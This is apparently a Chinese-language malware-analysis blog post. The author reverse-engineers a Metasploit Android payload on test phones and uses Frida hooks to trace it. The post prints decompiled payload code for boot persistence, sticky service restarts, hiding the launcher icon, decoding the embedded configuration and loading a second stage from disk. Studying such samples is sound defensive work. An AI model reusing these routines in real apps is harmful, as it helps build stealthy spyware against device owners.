msf Android马分析

# PREFACE:

# 一、运行效果以及环境搭建

image-20240423141135014

已知这个马上线安卓 13(我的测试机环境)是会被直接拦的,尝试了一下安卓 7

image-20240423172223131

可以上马,上的时候不会检测权限,但是 shell 不进去以及文件看不到,推测是权限管理系统拦了但是马没有申请,合理怀疑是安卓 6.0 以后需要动态申请权限,这里的马存在一定问题

这边上一个 android5,不行,报错

image-20240423172154053

上一个 android6,成功!

image-20240423173618493

简单看一下我们的权限:

image-20240423183527824

​ 简单来说没什么用,大概研究一下应该是进应用沙箱了,但是权限是给满的,很奇怪,还是啥也干不了

# 二、逆向分析

# AndroidMainfest.xml
<uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-feature android:name="android.hardware.camera"/>
    <uses-feature android:name="android.hardware.camera.autofocus"/>
    <uses-feature android:name="android.hardware.microphone"/>

申请权限,注定这个马只能低版本使用

<application android:label="@string/app_name">
    <activity android:label="@string/app_name" android:name=".MainActivity" android:theme="@android:style/Theme.NoDisplay">
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
        <intent-filter>
            <data android:host="my_host" android:scheme="metasploit"/>
            <category android:name="android.intent.category.DEFAULT"/>
            <category android:name="android.intent.category.BROWSABLE"/>
            <action android:name="android.intent.action.VIEW"/>
        </intent-filter>
    </activity>
    <receiver android:label="MainBroadcastReceiver" android:name=".MainBroadcastReceiver">
        <intent-filter>
            <action android:name="android.intent.action.BOOT_COMPLETED"/>
        </intent-filter>
    </receiver>
    <service android:exported="true" android:name=".MainService"/>
</application>

活动类名: MainActivity

注册 intent:

  • <action android:name="android.intent.action.MAIN"/> - 指定该活动为应用程序的主要入口点。
  • <category android:name="android.intent.category.LAUNCHER"/> - 指定该活动为启动器活动,即显示在设备的应用程序列表中并且可由用户启动
  • 指定了 metasploit 协议链接的主机和方案
  • 等等
# MainService
public static void start() {
    Class v0_2;
    try {
        v0_2 = Class.forName("android.app.ActivityThread");
        goto label_5;
    }
    catch(ClassNotFoundException v0_1) {
        return;
        try {
        label_5:
            Method v1 = v0_2.getMethod("currentApplication");
            Context v0_3 = (Context)v1.invoke(null, null);
            if(v0_3 == null) {
                new Handler(Looper.getMainLooper()).post(new c(v1));
                return;
            }
            MainService.startService(v0_3);
        }
        catch(Exception v0) {
        }
        return;
    }
    catch(Exception v0) {
        return;
    }
}
  • 尝试通过反射加载 android.app.ActivityThread 中的 currentApplication 方法并通过 invoke 执行,转化为 context 类型保存,如果获取不到 Context,则通过主线程的 Handler 将一个新的 Runnable 对象发送到消息队列中,以便在主线程中执行,c 中的逻辑为在运行时尝试通过之前传递进来的 Method 对象获取 Context 对象,并在获取成功时启动 MainService 服务
final class c implements Runnable {
    private Method a;
    c(Method arg1) {
        this.a = arg1;
        super();
    }
    @Override
    public final void run() {
        try {
            Context v0_1 = (Context)this.a.invoke(null, null);
            if(v0_1 != null) {
                MainService.startService(v0_1);
                return;
            }
        }
        catch(Exception v0) {
            return;
        }
    }
}

java 反射:深入理解 Java 中的反射机制及使用原理!详细解析 invoke 方法的执行和使用 - 阿里云开发者社区 (aliyun.com)

  • 允许运行中的 Java 程序获取自身信息,并可以操作类或者对象的内部属性
  • 程序中的对象一般都是在编译时就确定下来,Java 反射机制可以动态地创建对象并且调用相关属性,这些对象的类型在编译时是未知的
  • 也就是说 ,可以通过反射机制直接创建对象,即使这个对象类型在编译时是未知的

类的加载机制:JVM 使用 ClassLoader 将字节码文件,即 class 文件加载到方法区内存中

Class clazz = ClassLoader.getSystemClassLoader().loadClass("com.mypackage.MyClass");

ClassLoader 类根据类的完全限定名加载类并返回一个 Class 对象

反射的用途:

  • 很多框架都是配置化的,通过 XML 文件配置 Bean
  • 为了保证框架的通用性,需要根据配置文件加载不同的对象或者类,调用不同的方法
  • 要运用反射,运行时动态加载需要加载的对象

这里主要就是用③,实现动态加载,反射是各种容器实现的核心

从类中获取一个方法后,可以使用 invoke () 来调用这个方法

public int onStartCommand(Intent arg2, int arg3, int arg4) {
    Payload.start(this);
    return 1;
}

Service 类的重写方法,用于处理启动服务的命令。 1 表示如果服务被杀死了,系统尝试重新创建服务并调用 onStartCommand() 方法;即这里会维持在后台循环启动 payload

我们知道,frida 会悬挂进程并多起四个线程(可以自行调试,这个地方还没有具体了解原理,不过需要注意)那么我们编辑运行基本的一个脚本就会观察到有

setImmediate(function(){
    console.log("lld [*]");
    Java.perform(function(){
        var myClass = Java.use("com.metasploit.stage.MainActivity");
        myClass.implementation = function(v){
        }
    })
})

image-20240424133646117

后台重新加载了几次 payload,使得 vps 重新接收到了 sessions,随即关闭掉前面的链接,可以认为我们的推断是基本正确的,这部分实现了马的持久化

测试 payload 的重加载:

setImmediate(function(){
    console.log("lld [*]");
    Java.perform(function(){
        var myClass = Java.use("com.metasploit.stage.MainService");
        myClass.onStartCommand.implementation = function(arg2, arg3, arg4){
            send('com.myclass.onStartCommand.implementation');
            var ret = this.onStartCommand(arg2, arg3, arg4);
            send("result:"+2);
            return 2;
        }
    })
})
image-20240424142410325

修改返回值,服务会快速重置,但是新的连接无法维持,原因是我们 hook 了返回值为 START_NOT_STICKY

# Payload
# class b
private static int a(byte[] arg4, int arg5) {
    int v0 = 0;
    int v1 = 0;
    while(v0 < 4) {
        v1 |= (arg4[v0 + arg5] & 0xFF) << (v0 << 3);
        ++v0;
    }
    return v1;
}

这里明显是一个大小端序转化,基本上就是在对 payload 做数据处理,先大体手动还原符号,看起来就是简单编码还原 payload 内容并获取信息:

package com.metasploit.stage;
import java.io.UnsupportedEncodingException;
import java.util.concurrent.TimeUnit;
public final class b {
    private static final long timestamp;
    static {
        b.timestamp = TimeUnit.SECONDS.toMillis(1L);
    }
    private static int change_endian(byte[] arg4, int arg5) {
        int v0 = 0;
        int v1 = 0;
        while(v0 < 4) {
            v1 |= (arg4[v0 + arg5] & 0xFF) << (v0 << 3);
            ++v0;
        }
        return v1;
    }
    public static a a(byte[] arg11) {
        a v3 = new a();
        v3.a = b.change_endian(arg11, 0);
        long v6 = (long)b.change_endian(arg11, 12);
        v3.b = b.timestamp * v6;
        b.copy_array(arg11, 16, 16);
        b.copy_array(arg11, 0x20, 16);
        int v0 = 0x30;
        if((v3.a & 1) != 0) {
            v3.c = b.encode(arg11, 8000, 100);
        }
        while(arg11[v0] != 0) {
            g v4 = new g();
            v4.a = b.encode(arg11, v0, 0x200);
            int v0_1 = v0 + 0x204;
            long v8 = (long)b.change_endian(arg11, v0_1);
            v4.b = b.timestamp * v8;
            int v0_2 = v0_1 + 4;
            long v8_1 = (long)b.change_endian(arg11, v0_2);
            v4.c = b.timestamp * v8_1;
            v0 = v0_2 + 4;
            if(v4.a.startsWith("http")) {
                b.encode(arg11, v0, 0x80);
                int v0_3 = v0 + 0x80;
                b.encode(arg11, v0_3, 0x40);
                int v0_4 = v0_3 + 0x40;
                b.encode(arg11, v0_4, 0x40);
                int v0_5 = v0_4 + 0x40;
                v4.d = b.encode(arg11, v0_5, 0x100);
                int v0_6 = v0_5 + 0x100;
                v4.e = null;
                byte[] v5 = b.copy_array(arg11, v0_6, 20);
                int v2 = v0_6 + 20;
                int v0_7;
                for(v0_7 = 0; v0_7 < v5.length; ++v0_7) {
                    if(v5[v0_7] != 0) {
                        v4.e = v5;
                        break;
                    }
                }
                StringBuilder v5_1 = new StringBuilder();
                int v0_8;
                for(v0_8 = v2; v0_8 < arg11.length; ++v0_8) {
                    byte v7 = arg11[v0_8];
                    if(v7 == 0) {
                        break;
                    }
                    v5_1.append(((char)(v7 & 0xFF)));
                }
                String v0_9 = v5_1.toString();
                v4.f = v0_9;
                v0 = v0_9.length() + v2;
            }
            v3.d.add(v4);
        }
        return v3;
    }
    private static String encode(byte[] arg3, int arg4, int arg5) {
        byte[] v0 = b.copy_array(arg3, arg4, arg5);
        try {
            return new String(v0, "ISO-8859-1").trim();
        }
        catch(UnsupportedEncodingException v1) {
            return new String(v0).trim();
        }
    }
    private static byte[] copy_array(byte[] arg2, int arg3, int arg4) {
        byte[] v0 = new byte[arg4];
        System.arraycopy(arg2, arg3, v0, 0, arg4);
        return v0;
    }
}

这里重载函数比较多,可以直接拿脚本批量打印一下看,

function logInf(classs){
    Java.perform(function (){
        var Modifier = Java.use("com.metasploit.stage.b");
        var modifiers = classs.getModifiers();
        classs.setAccessible(true);
        if (Modifier.isStatic(modifiers)) {
            // 静态字段
            var value = classs.get(null);
            console.log(classs + " =>"  + value)
        } else {
             console.log(classs)
        }
    })
}
function getAllsonClass(classs){
    console.log('\n')
    console.log("查询到子类  =>" + classs.getName())
    hookClass(String(classs.getName()))
}
var thisclass = null;
//"java.security.MessageDigest"
function hookClass(CLASS){
Java.perform(function(){
    var classStudent = Java.use(CLASS);
    var classs = classStudent.class;
 
    // 获取所有内部类
    var innerClasses = classs.getDeclaredClasses();
    if(innerClasses.length > 0){
        innerClasses.forEach(getAllsonClass);
    }
    console.log("===========" + classs + "中的所有变量==============")
    // 输出所有变量
    classs.getDeclaredFields().forEach(logInf)
    console.log("===========" + classs +  "的所有方法==============")
    // 输出所有方法,并 hook
    classs.getDeclaredMethods().forEach(function(method){
        console.log(method)
       var methodsName = method.getName();
       var overloads  = classStudent[methodsName].overloads;
    //    console.log(overloads.length)
       for (var i=0; i< overloads.length; i++){
            overloads[i].implementation = function () {
            console.log('\n')
            console.warn("进入" + classs.getName() + "类的" + methodsName + "方法")
            for(var j=0; j<arguments.length; j++){
                console.error("参数" + j + " => " + arguments[j])
            }
            if (arguments.length === 0) {
              console.log("该函数无参数");
            }
            var result = this[methodsName].apply(this,arguments)
            console.error("结果是 => " + result)
            return result;
            };
        }
    })
    console.log('\n')
})
}
function main(){
    try {
        hookClass("com.metasploit.stage.b")
    }catch (e) {
        console.log("没有找到该类")
    }
}
 
setImmediate(main)

可以看到两个比较关键的结果:

image-20240424154214031

image-20240424154229414

即,这里的 payload 就是 msf 马生成的信息部分,在 b 函数中还原出信息并添加生成一个 http request 包

# payload
if((v6.a & 4) != 0 && Payload.b != null) {
    PowerManager.WakeLock v0 = ((PowerManager)Payload.b.getSystemService("power")).newWakeLock(1, Payload.class.getSimpleName());
    v0.acquire();
    v1 = v0;
}
  • 这里创建了一个 WakeLock 对象 v0 ,它允许应用程序保持设备唤醒状态,这里通过 Payload.b.getSystemService("power") 获取了系统服务 power ,并将其转换为 PowerManager 对象。然后调用 newWakeLock(1, Payload.class.getSimpleName()) 方法创建了一个 WakeLock 对象,参数 1 表示创建的 WakeLock 类型是 PARTIAL_WAKE_LOCK ,即部分唤醒锁定,它允许 CPU 继续运行,但允许屏幕和其他系统资源关闭。
private static void a() {
    if(Payload.b != null) {
        String v1 = Payload.b.getPackageName();
        PackageManager v2 = Payload.b.getPackageManager();
        Intent v0 = new Intent("android.intent.action.MAIN", null);
        v0.addCategory("android.intent.category.LAUNCHER");
        for(Object v0_1: v2.queryIntentActivities(v0, 0)) {
            ResolveInfo v0_2 = (ResolveInfo)v0_1;
            if(!v1.equals(v0_2.activityInfo.packageName)) {
                continue;
            }
            v2.setComponentEnabledSetting(new ComponentName(v1, v0_2.activityInfo.name), 2, 1);
        }
    }
}
  • 实现了禁用启动器图标,与上文 callback 可以隐匿在后台刷新

下面一段是进行基础的 tcp 解包,不需要讲,后面可以直接抓包看行为

private static void a(DataInputStream arg11, OutputStream arg12, Object[] arg13) {
    if(Payload.e == null) {
        String v0 = (String)arg13[0];
        String v1 = v0 + File.separatorChar + Integer.toString(new Random().nextInt(0x7FFFFFFF), 36);
        String v2 = v1 + ".jar";
        String v3 = new String(Payload.a(arg11));
        byte[] v4 = Payload.a(arg11);
        File v5 = new File(v2);
        if(!v5.exists()) {
            v5.createNewFile();
        }
        FileOutputStream v6 = new FileOutputStream(v5);
        v6.write(v4);
        v6.flush();
        v6.close();
        Class v0_1 = new DexClassLoader(v2, v0, v0, Payload.class.getClassLoader()).loadClass(v3);
        Object v2_1 = v0_1.newInstance();
        v5.delete();
        new File(v1 + ".dex").delete();
        v0_1.getMethod("start", DataInputStream.class, OutputStream.class, Object[].class).invoke(v2_1, arg11, arg12, arg13);
    }
    else {
        Payload.class.getClassLoader().loadClass(Payload.e).getConstructor(DataInputStream.class, OutputStream.class, Object[].class, Boolean.TYPE).newInstance(arg11, arg12, arg13, Boolean.valueOf(false));
    }
    Payload.c = -1L;
}

这里很明显动态生成了文件,并反射运行其中的部分内容,相同的方法抓取方法返回值和参数,可以拿到:

image-20240424161446827

反射运行了这个方法,这里仍旧是一个 loader

image-20240424160834420

image-20240424160846551

那么这里就需要获得里面的 met.jar ,有点缺乏经验不知道怎么搞(这里需要清楚,frida 去 hook 的是 app 内所有的内容,即使 loader 加载的也不例外),不过询问了一下可以去 hook File.delete ,然后去找文件

setImmediate(function(){
    console.log("lld [*]");
    Java.perform(function(){
        var myClass = Java.use("java.io.File");
        myClass.delete.implementation = function(){
            // var ret = this.onStartCommand();
            console.log("delete hooked");
        }
    })
})

image-20240424190256641

这 frida 确实有点好用的

# met.jar

根据刚才的分析,入口类就是这里的 com.metasploit.meterpreter.AndroidMeterpreter

image-20240424191136119

里面的马已经相当明文,就暂时不看了